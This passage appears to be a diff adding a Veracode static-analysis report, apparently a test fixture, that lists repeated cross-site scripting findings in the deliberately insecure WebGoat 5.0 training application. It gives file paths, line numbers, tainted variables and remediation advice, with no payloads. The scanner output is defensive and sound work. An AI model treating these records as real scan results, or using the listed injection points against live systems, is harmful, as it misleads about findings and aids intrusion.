+        line=\"52\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ListStaff_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"25\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"230\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable webSession.getUserNameInLesson().
+        The tainted data originated from an earlier call to java.sql.statement.executequery.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ListStaff_jsp.java\"
+        line=\"52\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ListStaff_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"25\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"241\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variables stub.getRole(),
+        and stub.getLastName(). The tainted data originated from an earlier call to
+        java.sql.statement.executequery. The tainted data is directed into an output
+        stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse contextual escaping
+        on all untrusted data before using it to construct any portion of an HTTP
+        response. The escaping method should be chosen based on the specific use case
+        of the untrusted data, otherwise it may not protect fully against the attack.
+        For example, if the data is being written to the body of an HTML page, use
+        HTML entity encoding (e.g. StringEscapeUtils.escapeHtml() in J2EE or HttpUtility.HtmlEncode()
+        in ASP.NET). For more details on contextual escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ListStaff_jsp.java\"
+        line=\"68\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ListStaff_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"57\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"263\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variables stub.getRole(),
+        and stub.getLastName(). The tainted data originated from an earlier call to
+        java.sql.statement.executequery. The tainted data is directed into an output
+        stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse contextual escaping
+        on all untrusted data before using it to construct any portion of an HTTP
+        response. The escaping method should be chosen based on the specific use case
+        of the untrusted data, otherwise it may not protect fully against the attack.
+        For example, if the data is being written to the body of an HTML page, use
+        HTML entity encoding (e.g. StringEscapeUtils.escapeHtml() in J2EE or HttpUtility.HtmlEncode()
+        in ASP.NET). For more details on contextual escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ListStaff_jsp.java\"
+        line=\"68\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ListStaff_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"57\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"4\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variables stub.getRole(),
+        and stub.getLastName(). The tainted data originated from an earlier call to
+        java.sql.statement.executequery. The tainted data is directed into an output
+        stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse contextual escaping
+        on all untrusted data before using it to construct any portion of an HTTP
+        response. The escaping method should be chosen based on the specific use case
+        of the untrusted data, otherwise it may not protect fully against the attack.
+        For example, if the data is being written to the body of an HTML page, use
+        HTML entity encoding (e.g. StringEscapeUtils.escapeHtml() in J2EE or HttpUtility.HtmlEncode()
+        in ASP.NET). For more details on contextual escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ListStaff_jsp.java\"
+        line=\"68\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ListStaff_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"57\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"172\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variables stub.getRole(),
+        and stub.getLastName(). The tainted data originated from an earlier call to
+        java.sql.statement.executequery. The tainted data is directed into an output
+        stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse contextual escaping
+        on all untrusted data before using it to construct any portion of an HTTP
+        response. The escaping method should be chosen based on the specific use case
+        of the untrusted data, otherwise it may not protect fully against the attack.
+        For example, if the data is being written to the body of an HTML page, use
+        HTML entity encoding (e.g. StringEscapeUtils.escapeHtml() in J2EE or HttpUtility.HtmlEncode()
+        in ASP.NET). For more details on contextual escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"Login_jsp.java\"
+        line=\"71\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.Login_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"72\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"260\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variables stub.getRole(),
+        and stub.getLastName(). The tainted data originated from an earlier call to
+        java.sql.statement.executequery. The tainted data is directed into an output
+        stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse contextual escaping
+        on all untrusted data before using it to construct any portion of an HTTP
+        response. The escaping method should be chosen based on the specific use case
+        of the untrusted data, otherwise it may not protect fully against the attack.
+        For example, if the data is being written to the body of an HTML page, use
+        HTML entity encoding (e.g. StringEscapeUtils.escapeHtml() in J2EE or HttpUtility.HtmlEncode()
+        in ASP.NET). For more details on contextual escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"Login_jsp.java\"
+        line=\"71\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.Login_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"72\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"48\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variables stub.getRole(),
+        and stub.getLastName(). The tainted data originated from an earlier call to
+        java.sql.statement.executequery. The tainted data is directed into an output
+        stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse contextual escaping
+        on all untrusted data before using it to construct any portion of an HTTP
+        response. The escaping method should be chosen based on the specific use case
+        of the untrusted data, otherwise it may not protect fully against the attack.
+        For example, if the data is being written to the body of an HTML page, use
+        HTML entity encoding (e.g. StringEscapeUtils.escapeHtml() in J2EE or HttpUtility.HtmlEncode()
+        in ASP.NET). For more details on contextual escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"Login_jsp.java\"
+        line=\"71\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.Login_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"72\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"80\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable menu.
+        The tainted data originated from an earlier call to javax.servlet.servletrequest.getparameter.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"main_jsp.java\"
+        line=\"170\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/\" scope=\"com.veracode.compiledjsp.xWebGoat50war.main_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"56\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"29\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable menu.
+        The tainted data originated from an earlier call to javax.servlet.servletrequest.getparameter.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"main_jsp.java\"
+        line=\"172\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/\" scope=\"com.veracode.compiledjsp.xWebGoat50war.main_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"56\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"205\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable menu.
+        The tainted data originated from an earlier call to javax.servlet.servletrequest.getparameter.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"main_jsp.java\"
+        line=\"174\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/\" scope=\"com.veracode.compiledjsp.xWebGoat50war.main_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"57\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"85\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable menu.
+        The tainted data originated from an earlier call to javax.servlet.servletrequest.getparameter.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"main_jsp.java\"
+        line=\"178\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/\" scope=\"com.veracode.compiledjsp.xWebGoat50war.main_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"59\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"124\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
